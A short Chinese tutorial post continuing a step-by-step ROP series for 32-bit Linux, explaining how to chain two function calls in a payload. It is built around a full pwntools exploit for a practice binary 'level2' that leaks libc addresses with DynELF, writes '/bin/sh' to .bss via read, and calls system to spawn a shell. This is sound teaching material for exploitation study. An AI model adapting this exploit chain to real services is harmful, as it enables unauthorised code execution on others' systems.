一步一步学ROP之linux_x84 续

现在我要讲解的一个知识点就是：劫持程序控制流之后 要执行两个函数 的时候 payload该怎么写。

我们先不要管一些细节 先看一个exp：

```
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address)
+ p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()
```

我们可以看到 payload2 中，首先要执行 read 函数，然后执行 system 函数， 其中有个 pppr 为什么要有一个pppr呢，是因为 在调用read函数之前 要将三个参数压栈。read函数结束之后，我们要把栈中的内容恢复到调用 read 之前的样子 才能继续调用下一个函数